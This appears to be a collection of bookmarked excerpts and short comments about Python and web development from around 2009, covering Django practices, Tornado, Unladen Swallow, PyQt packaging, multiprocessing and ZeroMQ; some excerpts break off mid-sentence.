Great little intro to python

"Having spent a lot of time scripting around the binaries and trying to manage timeouts, standard out/in/error pipes, authentication, arguments and options all through ‘’subprocess”, ”popen2”, etc., I’m here to tell you wrapping command line binaries is prone to error, difficult to test, and painful to maintain." Tell me about it. I just about pulled my hair out trying to do sftp from a web-based script.

OpenSSH is the ubiquitous method of remote access for secure remote-machine login and file transfers.

Can Rhythmic Analysis Demonstrate the Use of Robotic Beats?

I’ve always been curious about which drummers use a click track and which don’t, so I thought it might be fun to try to build a click track detector using the Echo Nest remix SDK ( remix is a Python library that allows you to analyze and manipulate music). In my first attempt, I used remix to analyze a track and then I just printed out the duration of each beat in a song and used gnuplot to plot the data. The results weren’t so good - the plot was rather noisy. It turns out there’s quite a bit of variation from beat to beat. In my second attempt I averaged the beat durations over a short window, and the resulting plot was quite good.

Fortunately, there are cross-platform Python bindings for Qt. The downside, however, is that packaging PyQt applications so that they can be deployed to users on Windows and Mac OS X is an immensely frustrating and arcane process.

Now that I have unlocked the toolkit's dark mysteries, I can show you the hidden secrets that will allow you to achieve mastery of the alchemical art of cross-platform PyQt application deployment.

Starting with a list of runners ordered by finishing time, select a sublist of runners who are getting younger. What is the longest such sublist?

Longest common subsequence

Taking a brief step back, this article is the third of a series. In the first episode we posed a puzzle: Starting with a list of runners ordered by finishing time, select a sublist of runners who are getting younger. What is the longest such sublist? In the second episode we coded up a brute force solution which searched all possible sublists to find an optimal solution. Although the code was simple and succinct, its exponential complexity made it unsuitable for practical use. In this episode we’ll discuss an elegant algorithm which solves our particular problem as a special case. On the way we’ll visit dynamic programming, Python decorators, version control and genetics.

Google's Python engineers have launched a new project called Unladen Swallow that seeks to improve the performance of the Python programming language. One of the project's goals is to replace the Python virtual machine with an LLVM-based JIT.

Google's Python engineers have launched a new project called Unladen Swallow, which aims to bring a major performance boost to the Python programming language by making runtime speed five times faster. The project is being implemented as a branch of the conventional CPython runtime and will be fully source-compatible with regular Python applications and native extensions. This will make it possible to eventually merge the improvements into Python trunk. The goal of the Unladen Swallow project is to use LLVM, the Low Level Virtual Machine compiler infrastructure, to build a just-in-time (JIT) compilation engine that can replace Python's own specialized virtual machine. This approach offers a number of significant advantages. As the developers describe in the project plan, the project will make it possible to transition Python to a register-based virtual machine and will pave the way for future optimizations. Adopting LLVM could also potentially open the door for more seamlessly integr

Cool, visual, way of showing sorting algoriothmsw

Static images of sorting algorithms, pretty neat!

"This whole thing started partly as an excuse to get familiar with the Cairo graphics library. It produces beautiful, clean images, and appears to be both portable and well designed. It also comes with a set of Python bindings that are maintained as part of the project itself - a big plus in my books. Firefox 3 will use Cairo as its standard rendering back end, which will instantly make it one of the most widely used vector graphics libraries out there. "

I dislike animated sorting algorithm visualisations - there's too much of an air of hocus-pocus about them. Something impressive and complicated happens on screen, but more often than not the audience is left mystified. I think their creators must also know that they have precious little explanatory value, because the better ones are sexed up with play-by-play doodles, added, one feels, as an apologetic afterthought by some particularly dorky sportscaster. Nevertheless I've been unable to find a single attempt to visualise a sorting algorithm statically (if you know of any, please drop me a line). So, presented below are the results of a pleasant evening with some nice Scotch and the third volume of Knuth. First, here's a taster - a static visualisation of heapsort: Heapsort I think these simple static visualisations are much clearer than most animated attempts - and they have the added benefit of also being, to my not entirely unbiased eye, rather beautiful.

A few weeks ago, I sent the following in a email to a co-worker asking for input on designing REST APIs in Django. Since then, I’ve quoted myself a few times; I thought these thoughts would be worth a (slightly edited) public home. I think the best way to dive in terms of mistakes to avoid. If you poke around you’ll find a couple-three different stabs at writing a generic REST API module for Django. So, with no further ado, some REST “worst practices:” Conflating models and resources In the REST world, the resource is key, and it’s really tempting to simply look at a Django model and make a direct link between resources and models — one model, one resource. This fails, though, as soon as you need to provide any sort of aggregated resource, and it really fails with highly denormalized models. Think about a Superhero model: a single GET /heros/superman/ ought to return all his vital stats along with a list of related Power objects, a list of his related Friend objects, etc. So the dat

Nimrod is a new statically typed, imperative programming language, that supports procedural, object oriented, functional and generic programming styles while remaining simple and efficient. A special feature that Nimrod inherited from Lisp is that Nimrod's abstract syntax tree (AST) is part of the specification - this allows a powerful macro system which allows domain specific languages.

Django tip: Caching and two-phased template rendering

It's a clever solution because you end up defining what doesn't get cached instead of what does get cached.

Intrigued by microframeworks.

The trickiest problem I still need to solve is how to replace settings.py. A group of developers (including Adrian, Armin, Alex and myself) had an excellent brainstorming session at EuroDjangoCon about this. We realised that most of the stuff in settings.py can be recast as configuring services which Django makes available to the applications it is hosting.

I like the idea of a one-file microframework for websites. It is like SQLite instead of a fullfledged DBMS.

Whoosh is a pure-python full-text indexing and searching library. Whoosh was opensourced recently and makes it easy to add a fulltext search to your site without any external services like Lucene or Solr for example. Whoosh is pretty flexible, but to keep it simple let's assume that the index is stored in settings.WHOOSH_INDEX (which should be a path on the filesystem) and that our application is a Wiki and we want to search the Wiki pages. Indexing Documents Before we can query the index we have to make sure that the documents are indexed properly and automatically. It doesn't matter if you put the following code into a new app or an existing app. You only have to make sure, that it lives in a file, which is loaded by Django when the process starts, resonable places would be the __init__.py or the models.py file (or any file imported in those of course) in any app. The following code listing is interrupted by short explanaitions but should be saved into one file: import os from dj

Finding the perfect IDE for Python isn’t an easy feat. There are a great many to chose from, but even though some of them offer really nifty features, I can’t help myself but feel attracted to VIM anyway. I feel that no IDE accomplishes the task of giving the comfort of complete power over the code - something is always missing out. This is why I always come back to using IDLE and VIM. Those two seem to be best companions when doing some quick and agile hacking - but when it comes to managing bigger and longer term projects, this combo needs some tweaking. But when it’s done, VIM will be a powerful IDE for Python - including code completion(with pydoc display), graphical debugging, task-management and a project view.

For other languages, like Python and Lua, the API is made available via JSON RPC calls to a proxy. Naturally this means that only the part of the API which has been wrapped by the AndroidFacade and AndroidProxy are available to cross-compiled interpreters like Python and Lua. Thankfully, both AndroidFacade and AndroidProxy are simple to extend.

Useful, quick and easy walkthrough of writing a Python/Django app which interfaces with Twitter, and deploying it to Google AppEngine.

Twitter’s robust REST API enables building of good applications that leverage its increasingly large and real-time data. Google’s cloud system App Engine not only provides a scalable platform for deploying applications, but also proves to be economically viable because of its pay per resource usage model and a large free quota. Little wonder then, there are increasingly large number of twitter apps being deployed on App Engine. In this post, I am going to examine how to create a simple application based on twitter’s REST API and deploy it on Google App Engine. A deployed version can be found on Twitter-Follow. The specification is simple. It finds if a twitter user is following another twitter user, given their user names. The application is developed using django and deployed on Appengine using the app engine patch project. The code is open sourced with GPL v3 and can be checked out from Google Code. Lets get started building this application.

Here is an app to allow logging in via twitter, facebook, openid, yahoo, google, which should work transparently with Django authentication system.

TL;DR version: Here is an app to allow logging in via twitter, facebook, openid, yahoo, google, which should work transparently with Django authentication system. (@login_required, User and other infrastructure work as expected.) Demo and Code.Longer version follow:

A common complaint about mod_python is that it uses too much memory and can cause huge spikes in processor load. Fact is that this isn't really caused by mod_python itself, but indirectly by virtue of how, or more so how not, Apache has been configured for the type of web application that is being run.

this is IMPORTANT

Some have realised that mod_wsgi daemon mode seems to offer a more predictable memory usage profile and performance curve and as a result fervently recommend it, but at the same time they still don't seem to understand what the problems with embedded mode, as outlined above actually were. So, hopefully the explanation above will help in clearing up why, not just in the case of mod_wsgi daemon mode vs mod_wsgi embedded mode, but also for the much maligned mod_python.

out of date, hence the mod_python, but the apache conf still applies

That is, PHP suffers from most of the same problems as CGI, but to a lesser extent.

Joe Gregorio suggested Protocol Buffers as a efficient to implement inter-operation for applications built with different languages. Look in the comments for "Common Lisp Users" and laugh out loud. It's really true. Man, we, those who program as a business, are really screwed big time with mass concurrency problems.

Why do you hope you're using Python in 2020? I've been a Ruby developer for the last 3 years, but I don't hope I'm still using Ruby in 10 years. I hope something has come along by then and swept away my expectations of what programming can be like and replaced it with something that feels wholly new, like has happened for me multiple times. I'd feel stagnant and dependent if I was using one primary language for 10 years.

Observation: Co-routines are to state machines what recursion is to stacks When you have to traverse some sort of a nested data structure (say, a binary tree), one approach is to create a stack that remembers where in the tree you are. Another, much more elegant approach, is to write the function recursively. A recursive function employs the machine stack used to implicitly implement function calls - you get the benefits of the stack without paying the cost of reduced readability.

I have extended my xgoogle library with a Python module for Google Translate. The new module is called “xgoogle.translate” and it implements two classes - “Translator” and “LanguageDetector“. The “Translator” class can be used to translate text. It provides a function called “translate” that takes three arguments - “message“, “lang_from” and “lang_to“. It returns the translated text as a Unicode string. Don’t forget to encode it to the right encoding before outputting, otherwise you’ll get errors such as “UnicodeEncodeError: ‘latin-1′ codec can’t encode characters in position 0-3: ordinal not in range(256)”

You can use it to build pretty much anything. And I'm going to show you how to get a Django build up and running using it.

Tornado: Facebook's Real-Time Web Framework for Python

Possible to build a site like FB.. using Tornado Cassandra, Hive (hadoop underneath) memcache, Scribe, Thrift.

Real-time updates have become an important aspect of the social Web that make it easier to share with friends. In March, we introduced a real-time News Feed to make the stream as relevant and engaging as possible for users. Similarly, FriendFeed, which we recently acquired, built their entire site to support real-time updates. It hasn't been easy to build and scale these features, so today we're open-sourcing a core piece of infrastructure called Tornado, which was originally developed by the FriendFeed team. Tornado is a relatively simple, non-blocking Web server framework written in Python, designed to handle thousands of simultaneous connections, making it ideal for real-time Web services. Tornado is a core piece of infrastructure that powers FriendFeed's real-time functionality, which we plan to actively maintain. While Tornado is similar to existing Web-frameworks in Python (Django, Google's webapp, web.py), it focuses on speed and handling large amounts of simultaneous traffic.

This document aims to lay out the pros and cons of two popular web publishing platforms: The PHP-based Drupal content management system (CMS) and the Python-based Django framework. It’s impossible to discuss systems like these in a non-technical way. However, I’ve tried to lay out the main points in straightforward language, with an eye toward helping supervisors make an informed choice.

Drupal represents a middle ground between framework and CMS that we’ve chosen not to take. Drupal is far more capable than a CMS like WordPress, but also much less flexible than a pure framework. But more importantly, the facts that Drupal isn’t object-oriented, isn’t MVC/MTV, doesn’t have an ORM, and is generally less flexible than a pure framework, not to mention our preference for working in Python over PHP, all contribute to our decision not to use it. In the end, a good developer can do good work with just about any system, while a bad developer can make mincemeat of even the best system. It’s not all about the platform. But modern tools and best practices in platform design go a long way toward ending up with a cleaner, faster, better-designed architecture that precisely matches the needs of your organizations, with no assumptions or historical baggage to work around.

Presentation on how googleapps datastore implements filtering and sorting on top of bigtable. Basically, all queries are translated to bigtable prefix scans or range scans, without needing any in-memory postprocessing, all rows returned from the scan are relevant to, and in order, for the query. There's a built-in 'single property index' (or two actually: one asc and one desc) which can obviously be used for single-property searches, but also for queries consisting of only equals clauses, by doing multiple range scans and taking the intersection (not sure at which level this happens). More complex queries need specific pre-defined indexes. Index tables only have keys, no columns with values. Indexes are updated synchronously, so everything stays consistent (at the cost of contention problems?). Some mention of string-byte considerations when doing range queries. No fulltext queries. Ends with some talk on transactions.

Here is a quick hack that I wrote. It’s a Python library to search Google without using their API. It’s quick and dirty, just the way I love it. Why didn’t I use Google’s provided REST API?

Article about advantages of scripting languages over system programming languages

Scripting: Higher Level Programming

Scripting languages such as Perl and Tcl represent a very different style of programming than system programming languages such as C or JavaTM. Scripting languages are designed for "gluing" applications; they use typeless approaches to achieve a higher level of programming and more rapid application development than system programming languages. Increases in computer speed and changes in the application mix are making scripting languages more and more important for applications of the future.

Django Solr search is a Django pluggable for rapidly integrating Solr search into a Django Application. It was originally written for The Washington Times.

With some of our past experiences with Solr it seemed like the obvious choice for this type of enterprise search concept.

This is an introduction to JavaScript. There are plenty of these on the web, but most of them appear to be for non-programmers, teaching the building-blocks of programming as JavaScript uses them.

If you're considering doing large scale analysis of structured data (access logs, for example), there are dozens of enterprise-level solutions ranging from specialized streaming databases, to the more mundane data warehousing solutions with star topologies and column store semantics. Google, facing the same problem, developed a system called Sawzall, which leverages their existing Map-Reduce clusters for large scale parallel data analysis by adding a DSL for easy manipulation of data.

Map/Reduce Toolkit by NY Times engineers is a great example of a Ruby DSL on top of the Hadoop Streaming interface. Specifically aimed at simplifying their internal log processing jobs, it exposes just the necessary bits for handling the access log inputs and provides a number of predefined reduce steps: unique, counter, etc. For example, to get a list of all unique visitor IP's, the entire program consists of:

Best practices in web development with Python and Django

oooh, I was waiting for this! would love to play around with this for oly.

Learn to scale your UNIX® Python applications to multiple cores by using the multiprocessing module which is built into Python 2.6. Multiprocessing mimics parts of the threading API in Python to give the developer a high level of control over flocks of processes, but also incorporates many additional features unique to processes.

In a previous article for IBM® developerWorks®, I demonstrated a simple and effective pattern for implementing threaded programming in Python. One downside of this approach, though, is that it won't always speed up your application, because the GIL (global interpreter lock) effectively limits threads to one core. If you need to use all of the cores on your machine, then typically you will need to fork processes, to increase speed. Dealing with a flock of processes can be a challenge, because if communication between processes is needed, it can often get complicated to coordinate all of the calls. Fortunately, as of version 2.6, Python includes a module called "multiprocessing" to help you deal with processes. The API of the processing module has some similarities to the way the threading API works, but there are also few differences to keep in mind. One of the main differences is that processes have subtle underlying behavior that a high-level API will never be able to completely abst

I mentioned in a previous post that I once interviewed for a job at a well-known search company. One of the five people who interviewed me asked a question that resulted in an hour-long discussion: "Explain how you would develop a frequency-sorted list of the ten thousand most-used words in the English language." I'm not sure why anyone would ask that kind of question in the course of an interview for a technical writing job (it's more of a software-design kind of question), but it led to a lively discussion, and I still think it's one of the best technical-interview questions I've ever heard. Ask yourself: How would you answer that question?

The author talks about a question he got at a job interview, and goes on to provide a reasonable recap/discussion about hash tables. This is generally the kind of answer I look for when I ask similar questions. 9/10 candidates I talk with can't actually discuss a hash function, and don't know how to create one.

Recently I've been looking at the International Barcode of Life project. The idea is take DNA samples from animals and plants to help identify known species and discover new ones. While other projects strive to identify the complete genome for a few species, such as humans, dogs, red flour beetles and others, the barcoding project looks at a short 650-base sequence from a single gene. The idea is that this short sequence may not tell the whole story of an organism, but it should be enough to identify and distinguish between species. It will be successful as a barcode if (a) all (or most) members of a species have the same (or very similar) sequences and (b) members of different species have very different sequences.

When you talk about “text,” you’re probably thinking of “characters and symbols on my computer screen.” But computers don’t deal in characters and symbols; they deal in bits and bytes. Every piece of text you’ve ever seen on a computer screen is actually stored in a particular character encoding. Very roughly speaking, the character encoding provides a mapping between the stuff you see on your screen and the stuff your computer actually stores in memory and on disk. There are many different character encodings, some optimized for particular languages like Russian or Chinese or English, and others that can be used for multiple languages. In reality, it’s more complicated than that. Many characters are common to multiple encodings, but each encoding may use a different sequence of bytes to actually store those characters in memory or on disk. So you can think of the character encoding as a kind of decryption key.

Everything you thought you knew about strings is wrong.

At its core SoS is just a Python based SMTP server that can receive emails, process them using handlers based on routing regex, and then relay results out again using templates. All of this is done without using alias files, m4 macros, pipes, weird protocols, or duplicate processing of the emails. SoS just works like a flexible scripting language SMTP should operate.

Django conventions

Welcome to my project on Django Conventions. Below I will try and lay out a list of basic conventions that should be used when creating Reusable Django Applications. Nobody is going to force you to follow these rules, but I think that they will be a good reference point for Best Practices and Conventions. Please contact me if you have any questions or leave comments below. If this page is useful, please feel free to suggest more conventions that are applicable.

Caching is easy to screw up. Usually it's a manual process which is error-prone and tedious. It's actually quite easy to cache, but knowing when to invalidate which caches becomes a lot harder. There is a subset of caching the caching problem that, with Django, can be done quite easily. The underlying idea is that every Django model has a primary key, which makes for an excellent key to a cache. Using this basic idea, we can cover a fairly large use case for caching, automatically, in a much more deterministic way. Let's begin.

Online service Pdfcrowd turns any web site into PDF format easily with a variety of options, including the ability to set margins, encrypt files, or disable copying and printing. We've covered services and browser extensions like this site before, but Pdfcrowd's got a lot more options that set it apart. The service is relatively straightforward. You've got a variety of ways to input your source: you can enter a URL, upload a HTML or TXT file (TXT is not officially supported, but it works), or enter HTML code directly. If you choose to enter HTML code, Pdfcrowd translates the code into PDF for you, and there's a WSISWYG editor available for making tweaks. After you set your options, hit the button to convert your file. Pdfcrowd does the job, but it does append "pdfcrowd.com" to your PDF in the the bottom right-hand corner. If that doesn't bother you, you might want to check out the webapp.

"Developers hate it when a new version of a language doesn't work with the code written for older versions of that language, but for van Rossum, the radical upgrade was necessary. The language was becoming ever more weighed down by multiple ways of doing the same task, and ways of doing tasks no one ever actually did."

Typically, each new version of the Python programming language has been gentle on users, more or less maintaining backward compatibility with previous versions. But in 2000, when Python creator Guido van Rossum announced that he was embarking on a new version of Python, he did not sugar coat his plan: Version 3.0 would not be backward-compatible. Now that the first release candidate of Python 3.0 is out, with final release planned for later this month, developers must grapple with the issue of whether to maintain older code or modify it to use the new interpreter.

Why Did M.I.T. Switch from Scheme to Python?

The freshman software engineering course (...) is now nearly thirty years old. Engineering has changed quite a lot in thirty years. Since 1995, Gerry and his co-author Prof. Hal Abelson have advocated changing the freshman curriculum radically, not basing it on SICP. In 1980, computer engineering was based on starting with clearly-defined things (primitives or small programs) and using them to build larger things that ended up being clearly-defined. Composition of these fragments was the name of the game. However, nowadays, a real engineer is given a big software library, with a 300-page manual that’s full of errors. He’s also given a robot, whose exact behavior is extremely hard to characterize (what happens when a wheel slips?).

Want html form tags using a django form? This is what you need

Allows setting doctype and avoiding self-closing tags in forms, for HTML4. I'm finding Django's insistence on XHTML-style self-closing form tags quite annoying.

django html

This package represents an experimental approach to improving the way Django outputs form widgets. At the moment, widgets created using django.forms are outputted as XHTML (with self closing /> tags) even if the rest of your site uses HTML. This package solves this problem by introducing two new template tags: {% doctype %} and {% field %}.

<p>Some nice template tags for getting django forms to output valid html instead of the default xhtml. Nice for sites where you're working with html 4.</p>

"Mike Malone shares code used by Pownce to add QuerySet level caching to Django. It’s a smart implementation—a CachingQuerySet class inspects the arguments passed to get(), and if they’re just a straight forward exact PK lookup hits memcache for the object before hitting the database. Signals are used to invalidate the cache."

ZeroMQ is a messaging library, which allows you to design a complex communication system without much effort.

ZeroMQ is a messaging library, which allows you to design a complex communication system without much effort. It has been wrestling with how to effectively describe itself in the recent years. In the beginning it was introduced as ‘messaging middleware’ later they moved to ‘TCP on steroids’ and right now it is a ‘new layer on the networking stack’. I had some trouble understanding ZeroMQ at first and really had to reset my brain. First of all, it is not a complete messaging system such as RabbitMQ or ActiveMQ. I know the guys of Linden Research compared them, but it is apples and oranges. A full flexed messaging system gives you an out of the box experience. Unwrap it, configure it, start it up and you’re good to go ones you have figured out all its complexities. ZeroMQ is not such a system at all; it is a simple messaging library to be used programmatically. It basically gives you a pimped socket interface allowing you to quickly build your own messaging system.
